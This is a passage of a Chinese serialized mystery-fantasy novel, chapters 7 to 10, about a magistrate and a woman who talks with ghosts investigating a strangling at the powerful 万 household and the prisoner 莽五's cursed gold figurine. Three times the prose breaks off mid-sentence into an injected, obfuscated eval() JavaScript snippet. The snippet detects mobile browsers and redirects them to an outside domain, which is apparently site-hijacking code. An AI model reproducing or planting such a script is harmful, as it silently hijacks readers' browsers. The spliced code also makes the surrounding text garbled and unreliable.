她又说两句，送走田彩女，唤两个差役悄悄尾随，若田彩女要逃则即行缉捕，若是不逃，则随她去城中哪里都行。 洪垣给萧慧极留了口信，自府衙后门溜出，洪文简在那儿等她。 她也怕路上遇着田彩女，钻进僻静巷道中，绕路去城隍庙，路上买了四小屉包子给自己和洪文简充当干粮。 人狗一同鬼鬼祟祟摸进城隍庙，洪垣开路，洪文简断后，正猫着腰穿过庭院，听见树上有人催命：“牌位，牌位，牌位，我要的牌位。有人欺负公玉家的老祖宗了，有没有公玉家的不肖子孙管管呐，欺负老人啦，欺负老人啦，欺负老人啦——” 城隍爷躺在树杈上，抱手翘着二郎腿，唠叨一句跺一下树干，树叶沙沙摇落，雨点般砸在洪垣脑袋上。 那喋喋不休也一句赶一句地砸头，洪垣急得结巴：“别别别闹了，我现在有正事，那牌位又不会长脚跑了，等我忙完正事，还能不给你弄来。” 城隍爷不答话，坐起来毫无章法地晃动屁股，叶落如风狂雨横，不满地拍在洪垣脸上。 “你就摇吧，等会儿摇摔了可不关我事。” 城隍爷听罢哼着鼻子冷笑，大有“你以为本公是谁”的意思，然后摔在地上，发出一声短促的痛呼。 摔了这一下后，城隍爷可算饶了那棵树，只是把包子吃去不少，害得洪文简眼巴巴馋着。 在城隍爷的塑像后边等到申时，洪垣昏昏欲睡，洪文简抬脚将她踩醒，她困顿张脸，听见大殿里有人说话，歪斜身子侧头从缝隙中一瞧，顿时将睡得四仰八叉的城隍爷一把扯正。 是田彩女来了。 7. 瓮（三） 头一次进万府时，田彩女感觉到了天上。 这大户人家的房子就是不一样，独占了一条街，像麟城里的又一个小城，如同她活了半辈子也没去过麟城许多地方一样，她在小城里做了十年厨娘，也弄不清楚厨房外的城是什么样的。 她惯常走后门进出，后门进府一歪再一拐，就到了厨房，厨房又是一座小小城。 她在城中低头弯腰，如同劳作的蜂类。 二十来岁时她心气尚高，在十几个厨娘中脱颖而出得了这份差事，自以为再精进几年到酒楼掌勺也未尝不可，几年过去，也未独自做完过一道菜，才知小小城里有人是油有人是盐，有人味辛辣，自然有人味酸甜，自己只是其中一味。 心就此寻常，也学会坐在厨房外躲懒，越过屋檐望天。 屋檐不远外是竹林潇潇，竹后是朱红阁楼，阁楼窗边偶有人独倚，幅巾长衫，手中一卷诗书，不时吟咏，“今夜良宴会，欢乐难具陈，弹筝奋逸响，新声妙入神”。 窗边人如不可掇之明月，璨璨独立天上。 她总是偷看，时而欣喜时而悲戚。 仲春时微风吹拂、花影摇动，阳光轻柔飘落在额头上，难得这样一刻宁静，伴着她笃笃捣菜，唯有朦胧的读书声。 人生寄一世，奄忽若飙尘。 心随之而走，竟也觉得小小城中春日美好。 前院的谷婆子正是这时来厨房中取点心，从谷婆子那她知晓了窗边原是主人。从此，这是她的秘密，知不可得，但谁人不望月。 有高阁上主人的书声陪着，日子又磕磕绊绊过去几年，她已到中年，洗菜时不再临水自照。 每隔一会儿她依旧习惯性地抬头，看春夏秋冬，看风花雪月，看朝朝暮暮明月清风残阳泣血。 看竹林密密匝匝将主人的身影分割得愈发细窄，看主人绷紧绳子套住蓝衣女人的脖子。暮晖渐落，穿过阁楼，金光勾勒，那双身影狂乱摇曳如同疾风骤雨中竹林混沌的影子。 她喘过气时，夕阳暝暝落至窗半，窗边只剩一道身影。 那身影转正，走到窗边，她闪避低头，将一只青笋刷到溃烂。 在她逃回家前，没敢再抬起过一次头。 想来田彩女也是被吓透了，跪在城隍爷跟前将昨夜所有尽数道出，连心里猜测的“男人已被主人灭了口，主人一家具是官身，衙门与他官官相护，抓了个替罪羊来”也和盘托出，而后便是哀求城隍爷救命。 城隍爷和洪垣面面相觑，有点弄不清如今是什么情况，不过听田彩女的意思她的主人是已经知道她目击杀人了，因此害怕被主人灭口。 洪垣拍拍城隍爷的肩，城隍爷向来仗义，开口说到：“田彩女，本公允你在城隍庙中藏身，待判官查清真相，自会还你公道。” 田彩女吓得坐在地上，半晌才缓过来赶紧磕头。 待她退出殿去，洪垣已急不可耐：“祖宗，要不你把她那个主人锁来审审吧，省得我这费劲，那人叫万奇珍，是万籁秋的独儿子，我看这爷俩都不是什么好东西。” 说着想起自己在外漂泊的爹娘，又大骂：“他们全家都不是好东西！” “我要是能把他锁来，还叫你去抢牌位干什么？”城隍爷气得发笑，慢慢笑掉下来，“这万家大有问题。天将降大任于斯人也，乖孙，祖宗相信你一定能行。” 洪垣龇牙咧嘴转头，偷奸耍滑的老东西已脚底抹油消失不见。 她静坐了一会儿，希望天将降大任于别人。 回到麟城府公廨时，萧慧极已退堂在二堂等她，茶是温的，她一口连喝了五杯。 萧慧极这边倒是简单，先审了莽五一遍，寻个由头打了二十板子，再原样问一遍，两次供词一致，与物证相佐，可以断定说得是真话。 勘验现场发现莽五家驴车上有残留血迹，拓下轮印与河畔车辙比对相同；人犯主动供述凶器是藏在柴堆里的铁锹，铁锹余有血腥味，且与两具尸体伤口吻合；河畔发现的布条也与杨隆乙衣服的缺口对上。 证据确凿，莽五对杀害黄杨二人并抛尸河中一事供认不讳。 据莽五所说，他趁娘子回娘家外出饮酒，直喝到后半夜，醉醺醺在家门前见一人倒卧，他以为也是醉酒之人，就上前去扶，扶了半天发现是个死人。 他本想报官，但看见死人腰上挂着一个鼓囊囊的茄袋，里边装着五两银子，他昧了银子，又怕报官后家人认尸，失了钱财惹祸上身，就在院子中挖坑将女尸掩埋。埋尸时不慎被杨隆乙看见，并被他敲诈，莽五一狠心将他杀害，谁知杀人时院外坐着黄老拐，人人都知那黄老拐的眼睛已被上天收去，可莽五做贼心虚，把黄老拐一同杀害。 洪垣看了供状啧啧称奇：“有了这段，我看说书先生又能吃上一年饱饭。不过还有更奇的，田彩女，杨隆乙那浑家，可是觉得你抓错人了。” 萧慧极面色平静如水：“说来听听。” 她上身前倾，滔滔江水从腹中倒出：“说出来你都不能相信，还得怀疑我假公济私。” 她顿了顿，见萧慧极竟不接话，只能敲敲桌子：“万奇珍，田彩女亲眼所见，万奇珍在万府阁楼上将蓝衣女子勒死。她心里害怕想躲到乡下去，回家碰上杨隆乙，把这事讲给了他听。想是万奇珍也发觉杀人时被人看见，寻到她家，杨隆乙出去应对，后来便跟着万奇珍走了。所以她觉得，杨隆乙是被万奇珍给灭了口。” 萧慧极正要开口，她立即高声：“别问，她总不至于跑到城隍庙里演独角戏。她要是有这样的心机，还能被你一眼看透了。” 他颔首，心有所思。 女子在万府被杀害，为何出现在莽五家门前？总不能自己走去，必是被人抛尸。巷中人家有人半夜听到马车声，很可能便是为抛尸来的。 杨隆乙昨夜并不当值，家也不在南万通街附近，五更天，正好遇见莽五埋人，埋的是他知道被万奇珍杀死的人。 本朝取消宵禁已有二十年，但万通街一带并不是玩夜的去处，此地多住宅，暮鼓后商户闭店，安静祥和。 杨隆乙其人，是个差役，是个赌徒，尤擅敲诈勒索。若他被万奇珍收买，帮助万奇珍抛尸并嫁祸于人，那五两银子便是鱼饵。 杨隆乙将女尸抛在莽五家门口，莽五贪财，捡钱埋尸，杨隆乙“恰好”看见，上前勒索，弄巧成拙反而被杀死。 如若杨隆乙没遭此劫，想来就是莽五倒霉了，他这般行径极易被认作谋财害命，查明案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801468|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情需要时间，要是他害病死在狱中，那真是死无对证。 可杨隆乙又如何得知莽五昨夜饮酒晚归，又如何肯定他必定贪财。杨隆乙很了解莽五，他刻意观察过。 萧慧极想到陆班头说杨隆乙有个姘头。 他叫来陆班头，一则命人画下蓝衣女子画像，分发至麟城及周边乡县悬赏认尸，二则将莽五妻子即刻带到公廨问话。 三则他应尽快面见麟城府常府尹，此事涉及万氏，需面圣请圣人裁决。 洪垣坐在一旁哈欠连天，昨夜她就没睡个囫囵觉，在椅子上坐了一会儿，倦意上头，眼皮止不住往下掉，非要眉毛卖死力气往上拉着才能留两条缝出来。 她在两条缝里看见萧慧极的衣摆靠近，晕乎乎咂嘴，头顶三尺提着四肢的线一时松懈，头一歪被箫慧极扶住才又清醒过来。 萧慧极的手心暖洋洋的，洪垣还有些不想起来了，哈欠打得泪眼朦胧，又枕了他的手一会儿才跳起来：“醒了！” 他垂眸眼睛游弋，盯着她从左到右：“我进宫一趟，有事你就找陆班头。” “明白明白。”洪垣背着手往外走，声音敷衍，满心想把谁当小孩呢。 暮色已浓，她快步往外走，想去寻下音信全无的灯姑，出了公廨就看见灯姑累趴在洪文简背上。 灯姑也看见她，连忙缩起脖子：“那个洪垣啊，我首先声明，小灯我绝对尽力了，但这事真不能怪我。” 听上去有些不妙，洪垣蹲着，挑起眉毛。 灯姑嗫嚅着，后边干脆双手一摊：“我找了半天，想起那个人曾被扔到河里，兴许魂掉在河里呢？这才赶紧上渌水河河神那儿，一问才知是有那么一个穿差役衣服的魂来过，但河神已把他斩了。” “为啥啊？”洪垣不明白。 “这家伙，刚被人杀了，魂掉进河里，”灯姑深吸一口气，声音拔高，“竟然还有闲心去偷看河神娘子洗澡，看得那叫一个手舞足蹈，被河神当场抓获，就地斩成八段，碾碎拌匀喂鱼了。” 两人一起沉默，连洪文简都捂了下鼻子。 “那。”洪垣想问不能捞一下凑合凑合吗，想想挺蠢的，把嘴闭了个严实。 “但是。”灯姑突然开口，洪垣眼里蹿起一股火苗。 “我把跟着你那小鬼抓到了！” 洪垣笑垮了。 灯姑从腰上解下一根绳子，边收边叠，小鬼盘着腿从街角被拉过来，惹起一路烟尘。 兴许觉得丢了面子，小鬼始终不愿转过身来，洪垣强抿着嘴：“丘总把头，你不看看自己裤子磨破没？” 丘无玷扭头就瞪，因牙咬的太紧，脸都方了。 她差点笑出来，噎在嗓子眼里不上不下，好不容易咽下去了，才问他：“小贼，你跟着我到底要干嘛？” “什么小贼，是总把头，是八门总把头。” 他言辞凿凿强调，“小爷我是在考察你，你要真有本事，小爷就将你招入麾下，封你个麟城八门副总把头。” 洪垣不笑了。 她把拴在丘无玷腰上的绳子解开，提起领子，后撤步一脚踢在他屁股上。 丘无玷在空中划过一抹圆润的弧线，落在不知道哪家的柴禾里。 8. 瓮（四） 如莽五这般离奇的案子向来为人津津乐道，成了茶余饭后的谈资也不足为奇。 然而此案已喧嚣了十天，仍不见新的小道消息自街头巷尾中自己长出来，掐头去尾、抓心挠肝的，像缺了几页的话本子。 每日有人上公廨认尸必定是十里拥簇，然而众人每每乘兴而来败兴而归，直到今日也不知停在公廨的女尸姓甚名谁，哪里人氏，被何人杀害，又为何倒卧在莽五家门口。 萧慧极已将前因后果猜出八成，也将有人目击万奇珍杀人之事奏禀圣人，圣人要他暗中查访，不可惊动了万家人，务必查实查清，人证物证翔实确凿再来回禀。 简而言之，圣人要他将万奇珍钉死，绝不能有翻案的可能，如此便能斩下万文珍一条臂膀。 万家势大，祖上投效了太祖皇帝，大小儿子虽然平庸，但两个孙子文珍、奇珍却不是池中之物，尤以万文珍为先帝倚重，身居宰辅之位已三十余年。 万奇珍则是后起之秀，年少进士及第，四十出头已是正四品礼部侍郎。 二万已是堂兄弟，同气连枝，不曾分家，在朝中又互成掎角之势，提拔族中子弟，万氏可谓人人簪缨。 圣人还在东宫时就与万文珍有些龃龉，至今仍在朝堂争锋。 圣人春秋鼎盛，锐意进取，想要夺取河西。 万文珍历经风霜，老成持重，认为应当与民休息。 圣人恨他倚老卖老，把持朝政。 他亦以老臣自居，只认半由天子半由臣。 之前圣人棋差一招，先输了一局，如今抓住万奇珍的狐狸尾巴，说什么也要攥死在手里。 萧慧极自然明白其中道理，正巧女尸至今无人认出，莽五娘子也不知去向，明面上便将这两件事鼓噪得震天响，好教万奇珍以为案件毫无进展。 面上缓了，私下却急。他离宫当日，陆班头将莽五藏在家中的赃物取回，便是女尸身上的五两银子，见了赃物，萧慧极更确信自己的推测，杨隆乙被万奇珍收买，帮助他移尸栽赃。 五两银子用金红绣锦茄袋装着，洪垣戏称是用金子装银子，可见绣锦价值千金。 这样一个茄袋出现在衣着朴素、双脚起茧的女尸身上，何其诡异，不仅蓝衣女子用不起，杨隆乙也用不起，是谁将茄袋给出不言而喻。 杨隆乙是个赌徒，他知道从万奇珍身上摘下的东西自然金贵。 但赌徒永远以为自己会赢，再稀奇的本他们也舍得。 可是久赌必输，杨隆乙输了，输得精光，才留下了这个破绽。 萧慧极可以肯定这是万奇珍的茄袋，这是目前他手中最有力的物证，但需要他去证明。 如今这案子闹得沸沸扬扬，市井流言错漏颇多，有说银子装在茄袋里的，有说银子用布包的，也有说银子揣在女尸怀里的，但只要下功夫打听，万奇珍总有一日会察觉这处破绽。 他倒不担心万奇珍发觉，此人不满二十进士及第，自负才名，傲慢已极，可他到底有个浸淫宦海半生之久的堂哥。 万奇珍是否会将杀人之事告诉万文珍，万文珍是否会做他的参谋，萧慧极不得而知。 他只能依圣人所言，不要惊动了他。 如此只能旁敲侧击，小心行事，借着别的由头明察暗访，这样下来进展缓慢。 洪垣这些天也没闲着，女尸的魂不知所踪，便帮着一起查这匹做了茄袋的金红绣锦。 细细查来，竟还乐在其中。 此类花色的金红绣锦产自东南，去年一年共得十匹，八匹献进皇宫，圣人赏赐皇后两匹，其余皆在库中。未献的两匹在绣塘布行出售，被王、秦两巨富之家订走，这样的布匹存取皆记录在册，制成衣裙、鞋面、香囊、锦扇或是其他饰品，如何来去，经谁人之手，丁一卯二，都十分清晰。 洪垣和萧慧极每日早上家中碰头，吃点粥饼各朝一边，把要查之事夹在琐事之中，傍晚踏斜阳而归，将今日所得汇到一起。 洪垣话多，边说边吃，吃完还得再啰嗦会儿，萧慧极食不言寝不语，只是坐那儿捏着眉头，像在受刑。 如此查了十日，才将这匹绣锦如何成了万奇珍的茄袋弄得一清二楚。 万府十日间也不见什么动静，想来万奇珍并没有将如此私事告诉万文珍，这才让人放了八斗心。 洪垣从没觉得自己如此刻苦，许是上苍都被她感动，在外奔波十一日的陆班头也回来了，风一样卷进公廨，声如洪钟、大叫大喊：“找到了！找到了！萧参军！莽五浑家找到了！” 洪垣觉得他要是喊“生了生了”也十分应景。 萧慧极正在案前整理书册，他找了许多借口才拿回这些记录绣锦往来的账册，洪垣则不然，趁人不备、一把撕下、揣进袖中，一气呵成。 陆班头大步流星进屋时，他才抬头：“不必升堂，带到这来。” 陆班头脚尖一旋，又大步出去。 莽五娘子是城外小田村农户乔老汉的闺女，排行老二，唤做缕娘，穿一件桂白菱花短衫配水蓝交窬裙，瞧上去白净柔弱，洪垣都能把她提起来当透索甩。 乔缕娘碎步进来，弱柳身段风拂不乱，盈盈跪下通报上姓名，轻声细语袅袅娜娜，哪里像庄稼汉养出的女儿，倒好似个诗礼之家的知书娘子。 洪垣幸灾乐祸地偷眼看萧慧极，不想他毫无怜香惜玉之情，出言使诈，直戳人心窝子：“乔缕娘，有人告你与杨隆乙通奸，可有此事？” 乔缕娘神情未改，不羞不臊不气不恼，温柔声声，念诗一般：“上复参军，妾同杨郎情投意合，因此通奸。” 萧慧极硬生生喝了好几口茶，洪垣看他脑袋就快冒烟了。 这女子不一般，她好奇的很，想看萧慧极怎样对付乔缕娘。 萧慧极听惯了谎言托辞，遇上这般直白，先起了三分疑心，于是不再问通奸之事，另起一头：“三月初六，你在何处？” 乔缕娘低眉顺眼：“妾在家中。” “莽五、邻里皆说你初六当日吃过午饭便回家看望父母，如何又在家中？” 乔缕娘听他如此问，竟露出愧疚神色：“参军容禀，是妾言辞粗疏了。初六妾只是骗郎君要回娘家去，妾在巷中居住多年，知道亥初邻里早已睡下，以往亥初后与杨郎私会都未被发现，于是等亥初后潜回家中。妾不喜酒味，每每妾回娘家，郎君才去通宵达旦饮酒耍乐。三月初六，妾藏身二楼，专等郎君醉酒回家，打算用枕头将他捂死，再趁清晨回老父母家，以脱嫌疑。” 屋中针落可闻，天可怜见，萧慧极以前从不直勾勾看女人：“麟城到小田村不过两三个时辰脚程，初六中午出城，如何初七早晨才到？” “路上跌倒，脚痛难忍，在路边歇了一夜方才继续赶路。” “官道上人马频繁，为何无人见你？” “女子出行不宜张扬，但道边煮茶张娘子，欠老父亲一百文钱，愿为人证。” 理智告诉萧慧极她说的是掏心窝子话，脑子里却全都是胡编乱造信口雌黄莫名其妙荒谬绝伦，他伸手要拿醒木，忘了不是在公堂上，摸了个空。 洪垣嘴包起牙别过头，将茶水往窗外一泼出一道影，塞个茶盏在他手里，萧慧极才握着一拍：“乔缕娘，虽未升堂， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801469|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但此处是府衙公廨，不是酒肆茶楼，你想清楚再说。” “妾所言句句属实，苍天可鉴。”乔缕娘抬起头来，做捧心状，“妾本想将郎君杀死，但如今他已是死罪，不需妾再杀他，故而实言以告。” “你……”萧慧极稍停须臾，思忖沉吟，“你为何要他性命？他是殴打责骂你，还是发现你与他人通奸？” 乔缕娘还未开口，泪珠子先自断线滚落下来，凄凄楚楚湿了衣襟：“他若发现倒是好了，他以前也不那样，自上山捡了一个金人，着魔一般。妾戴着杨郎汗巾半月有余，轮番露出破绽试探，他竟不闻不问丝毫不觉，早不把妾放在心上。” “妾与杨郎牌桌上相识，他虽长得好，却不真心，妾向他抱怨郎君爱财薄情，他只知问些郎君如何爱财。郎君真心待妾，却不能从一而终，他变了心，眼里只有路上的钱，他既负了誓言，妾便只想他去死。” 萧慧极听着，觉得有些怪，金人是什么，路上的钱又是怎么回事，听到最后瞟了洪垣一眼，她在那不住点头，又不住摇头，就是今晚在被窝里猜上半宿，也不懂她究竟什么意思。 乔缕娘自顾自讲完，又是两行眼泪：“可惜，不是妾杀了他，那样虽是怨侣，但情生情灭、有始有终，岂不如古今传奇一般，也算惊世骇俗，也算博得完满。” 陆班头拼命挠头，他不懂，他真的不懂。 若说她坏，她可算他见过最实诚的人了，若说她好，她又把杀人脱罪说得像吃饭喝水打嗝放屁一样寻常。 萧慧极拉扯思绪，想到别处，她策划杀人如此熟稔，难道也曾得手？ 顾不上说她荒唐，只一句调侃：“你对杀人倒颇有心得。” 乔缕娘欣然点头：“是。” 陆班头险些拔刀相向，她丝毫不察。 “妾在话本子里看过许多，极妙的便抄录下来，装订成册，如今已有七册，每晚睡前翻阅回味，真真有趣。” 她越说越是展颜，挨个蹦的字连成句子，见三人都不反驳，还以为遇上了知己：“妾从小喜欢听书看戏，越是惊奇越是闻所未闻越是喜欢。妾大哥走的早，两个妹子也没养活，爹娘剩妾一个，很是溺爱，见妾喜欢文墨，七八岁上下便请人教妾读书识字。自妾蒙学，听得奇闻便记录在册，加之从各类书中抄录所得，已存放两只箱笼。” 萧慧极眉心松开，总算确认她不是肠子绕弯太多，而是看书看的脑子与常人有异，他同窗中也多有此等人，只是症状还是有所差异。 乔缕娘目光回转，忽然炯炯，跪直了身子：“妾听了坊间传闻，以为是奇事一件，若妾是书中人，也当锄奸惩恶、匡扶正义。妾起初怕有去无回，素怀侠义者往往都是如此下场，于是在田间草屋躲避十日，写书一卷，书中均亲眼所见，绝无演绎。本想要是不幸身死，还能留书于世，今日见参军不是烂刑昏聩之辈，愿将此书献出。” 她从袖中抽出一本青衣小册，双手呈上：“妾拙作鄙陋，请参军斧正。” 陆班头很识相地上前将册子递给萧慧极，见萧参军一言不发从第一页翻起，乔缕娘还好心提醒：“参军可从三十三页读起。” 萧慧极一目十行，手指翻飞，洪垣撇头偷看，囫囵看得几句字影，最后一页终于见着全须全尾的字，读了不到两个，他把书一合：“你书中所写，绝无虚言？” 乔缕娘更是干脆：“如有半句作假，妾当眼盲耳聋，再不得读书听戏。” 好毒的誓，洪垣听得呲牙。 萧慧极当即拍板：“陆班头，叫书吏来誊抄三十三页到四十页所有内容，抄好了叫她签字画押。” 9. 瓮（五） 秋山秋草秋水，白枝红叶青苔。 麟城人要赏万种秋景，听取秋声，非得到红帘山不可。 清昼坐卧云中，任秋雾沾衣，如履仙山；午时烟消云散、水木明瑟，秋山如画，描摹妆成，红橙黄绿极鲜妍绮媚，草木鬓边秋空高远、风动云淡、雁鸟回翔；待到日昳，夕阳缱绻无限，枝影交错纵横，暮色晚钟，孤影独立，寂寥时分，思绪万千；心中难平时刻月破东山，皓然如雪，在皎洁林中徘徊，仰看天衣如水，俯身石上月光。 多少游人钟爱此山，莽五来去时眼中却空无一物。 他做药材营生，一年大半时间要上红帘山奔波劳碌，价钱好时埋头狂奔，价钱差时丧气垂头。 近一年来也不知冲撞了什么，他这生意经越念越不灵，高买低卖有，惹祸赔钱有，走眼有，压货有，就是铜板没有。 总之霉运缠身，家里都快揭不开锅了。 他不敢告诉娘子，怕她忧心，每次外出省了又省，挤出大半给娘子买些纸墨，有时能向交好的书肆老板借书几本，则一并带回。 即使卖了全力拼凑，生计还是愈发艰难，他有点想起小时候的日子。 莽五年少父母见背，独自在世间挣扎求生，为了吃口饭在药材铺里做学徒，那夫妻俩都是刻薄的贼，恨不得把他里外荤腥全部刮走。终于熬到出了头，自己闯出去做生意，踏过红帘山的磴道，见山明水碧晴空万里，怀里揣着自己的二十文钱，忍不住引吭高歌。 那会儿好像也是秋天。 后来生活渐渐宽绰，他去小田村收药，遇上缕娘。 她在人堆里又白又亮一个，像一弯弯月牙，俗世的色彩将她托起，斑斓流动的人潮里戏声婉转。 啊呀呀海枯石烂情缘在，白头生死鸳鸯浦。 傻姑娘看戏看得入迷，铰指甲剪破了手指也浑然未觉，一滴血如相思子挂在她的指尖，也挂了在他的心上。 能娶到缕娘，莽五觉得是三生有幸，他是天地湖海间孑然的飘萍，也偷得了心爱的归宿。 他常觉自己卑鄙，娘子神仙人物，颇有才情，若不是脑子不好也断不会嫁给他这样一个平庸之辈。她端坐窗前，教他识了许多字，或是点着一豆灯火，念着故事陪他筛药，她本该配个多情的公子，而不是他这弄不清花前月下还是下月花钱的市井汉子。 但缕娘从来无怨，莽五在窃喜和忧愁里泅渡，然茫茫不见彼岸。 日前他手头实在紧张，想到缕娘有几本压箱底的书册，偷偷拿去当了换钱，心想着她一两个月应不会发现，等周转过来再去赎回。 手中有了点本钱，收了批药，风风火火炙上，忽然听见楼上开合书箱，他心惕惕，弦儿绷紧，像睡在猫旁的耗子，每根毛都伸长了探风。 书箱一遍遍开合，纸页被哗啦啦翻动，反反复复，来来回回。 到了第三日，莽五再无法装作无事。 哗啦啦，哗啦啦，歇斯底里中带着颤抖。 他出门去，将炙了一半的药材全部贱卖，在药铺好说歹说借了一点，加上囊中所有积蓄，将几册书赎回。 回家时，缕娘坐在书箱上发呆，他把书放在米缸底，洒一层米，刚够盖住，强装疑惑，问她怎么把书放缸里了。 缕娘飞着下楼，抓起书来，拥在怀抱，终于回魂。 莽五惨然笑着，把溅在地上的米粒扫入手中，一小把扔进缸里，叮叮有点回声。 他整晚辗转反侧，想起红帘山有户人家还欠他小半吊钱，干脆不睡，专到城门等候，城门一启便出门上山。 到了半山，才知那户人家刚生变故，男人采药跌下山去，偏偏半死不活，孤儿寡母守在床前，像他一样惨然地笑。 他开不了口，安慰几句，留下二十一文帛金告辞，出门撞见湛蓝天空如此高远，太阳照透了黄叶，秋色如火。 莽五扒了扒手心里的余钱，连二十文也没了。 想到半生已过，又要重头，当日高歌一曲今日缄口，对着明媚不改万古秋山，不禁悲从中来，怆然泪下。 磴道绵延，曲折向下，他觉得累了，在一处转角坐定，尾巴骨被硌得生疼。莽五叫骂起身，一脚搓开落叶堆，看见一个金灿灿的东西顺着山路滚落下去。 他来不及细想拔腿直追，如同请了千万年前先祖上身，飞身如梭，跑得急了前仰后合一个狗啃在地，才把那东西捂在手下，屏息凝神松开双手，只是一段漆黄的烂木头。 莽五气得捶地，抬头要撑起身子爬起，面前落叶堆里有道金光漏出来，照在他双眼里。两手扒开落叶，地上坐着一个半掌高的金人，金人愁眉苦脸，戚戚看他。 莽五小时听人说过，捡到金人银人就会发财。 哭花的脸顿时扭做几瓣，欣喜若狂，一条趴在地上朝着金人连连磕头，这才叫山回路转、柳暗花明、天不绝人、否极泰来。 金人果真灵验，莽五的荷包又鼓了起来，不需起早贪黑，不需风来雨去，不需巴望着别人巴望着老天，只需每日出门去，总能拾到钱，少时几枚铜板，多时一两块碎银。 这是财神爷，这是真神仙。 要是知道来到世上过得是这样的好日子，他一定要多来几次。 莽五成天揣着金人，眼睛长在地上，捡钱多时好酒好肉尽情供奉，把金人抱在怀里亲得锃亮，捡钱少时心生怨怼，刚冒起那不敬的念头便吓得腿软尿急，怕神仙怪罪，对着金人哭泣告饶。 如此悲喜交加，患得患失，几成疯魔。 浑浑噩噩地过了近一年，家是三天两头不回了，麟城捡的钱少后他就上附近乡里乱串，捡到的钱还是时多时少，但他对金人诚心敬爱，无论多少都欢喜异常。 或许真是他一片真心感动了神仙，金人脸上的苦相渐渐平和，某天竟现出笑意。 莽五大喜，掏空腰包置办小三牲，提回家中行祭。他在厨房里折腾得热火朝天，缕娘连半个脸都不露，越想越是不悦，提着锅铲气呼呼冲上楼去，缕娘躺在床上看书，从书后抬起眼睛冷冷瞥他一瞬，然后转身背对，不问他要做什么。 片刻的理智闯进脑海里，世上真有这种好事吗？想起金人的笑，有如遭了火电，冷汗涔涔湿了后背。 自那日后，莽五又开始收药、炮制、卖药，不知是不是金人仍保佑着他，生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801470|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意轻松简单。他心中有一丝侥幸，在上下，在拉扯，在看到钱时忘掉一切，在装模作样随便糊弄糊弄就能把药材卖出好价时暗喜不已，直到他扯下蓝衣女人腰间的茄袋，他看得出女人用不起这样的茄袋，他知道五两银子太多了。 他很清醒，但心儿叫嚣不止。 这是金人给他的，这是他命中该有的，或许以后还能捡到金子呢。 贪心本就是人之常情，他闭着眼，一遍遍想金人双颊上淡淡的仁慈的笑，呼吸由短变长，他脸上也挂起相仿的笑。 心平静了，不起波澜，金人仍安详和煦，笑着开口：“莽五，卖命钱你已尽数收到，该将命交给我了。” 莽五“啊呀”嚎叫着惊醒，浑身如刚刚过了水，牢中不知日夜，只有几缕火光，阴恻恻好似来引路的灯笼。 费劲喘上气，他扯掉靴子抖出金人，凑到火光前一看，金人攒眉瞋目、裂口嚎啕。 那是一张他莽五的脸。 他拿着金人，血已全部凉透，不得不明白自己究竟是怎样走进死路的。 这哪是散财的神仙，分明是害人的邪物。 这时他才想起缕娘，想起自己求娶她时指天跺地发誓这辈子会好好待他，如今自己是活不成了，没了他，缕娘可怎么活。 莽五哭得悔恨。 自家娘子不是不通情理的人，若是从头就对她实话实说，也不会落到这般田地，卖宅子也好，典当东西也好，再不济腆着脸找老丈人借点本钱，总归还没走到绝路。 现在千般万般想要回头，已是无路可走。 想到这更想大哭，结果被“左邻右舍”一通讥讽臭骂，那俩都是恶贯满盈之徒，剪径不知害了几条性命，他就不明白自己怎么就和他们这种东西关在一起了，这且不算，还要被他们嫌弃窝囊。 哭声被锁在喉咙中，他干张着嘴，只有眼泪如飞流直下。 莽五许是哭了半宿，哭到后边实在是肚子太饿，头又昏又沉，呆愣愣缩在墙角里，对于自己在等死这不争事实终于有了几丝麻木。 杀人偿命，他还杀了两人，一条命只够还一次，真是晓不得怎么还第二条。 他自心死如灰，每天半人半鬼地干噎馒头，然后一动不动地蜷曲在地，已提前过上死后的日子。有时候不慎睡着，梦见父母梦见金人梦见缕娘，最长的梦里都是缕娘，她哭着叫他名字，撒泼痴骗如个孩童。 他又流泪了，他得死了，缕娘还得活呢。 在狱中不过十余日，他心间已是几番死去活来。 禁子又来放饭，见他整理了衣服头发站在牢门边，十分殷勤地低语：“大哥，小弟有些话想请大哥通传与萧参军，可否借些纸笔。” 禁子今日格外好说话，多塞他一个馒头，让他等着，转身跛脚离去。 片刻后禁子返回，莽五写了好一叠书信交予他。禁子走远，莽五攥着手心踮脚张望，直至看不见人方才放下脚后跟，他踩到硬物，十分硌脚，是金人在他的靴子里。 他只望死后缕娘能按自己遗愿操办丧事，他带这金人共赴地下，让它不再现世害人，也算积点德，还半条人命罢。 10. 瓮（六） 禁子拿着莽五的信歪歪扭扭走了一路，才在班房找着陆班头。 他向来不喜见人，但有些同情莽五，因此硬着头皮跑上一趟。 